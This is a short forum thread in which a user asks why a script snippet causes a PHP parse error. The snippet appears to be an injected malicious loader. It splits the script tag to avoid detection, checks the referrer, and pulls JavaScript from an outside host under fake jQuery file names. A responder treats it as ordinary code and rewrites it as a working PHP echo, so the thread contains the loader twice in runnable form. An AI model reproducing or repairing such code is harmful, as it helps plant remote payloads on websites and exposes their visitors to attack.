I got this error .. Parse error: syntax error, unexpected '<' Here is the code [/B]<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.smileyhost12.info/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.smileyhost12.info/jquery.js"></scr'+'ipt>'); } </script> [B] Code (markup): Please help me to fix it
Are you putting this script in a PHP file? Above code is HTML... you can parse PHP in an HTML file, but to put this code in a PHP script you need to use PHP's "echo" for it to output HTML as it is instead of trying to parse it.
To send the code from a php section of a php-script to a web browser you can use: echo "<script type=\"text/javascript\"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type=\"text/javascript\" src=\"http://www.smileyhost12.info/jquery.min.js\"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type=\"text/javascript\" src=\"http://www.smileyhost12.info/jquery.js\"></scr'+'ipt>'); } </script>"; PHP:
Maybe he can elaborate. It escapes me why someone would want to output inline javascript in this manner.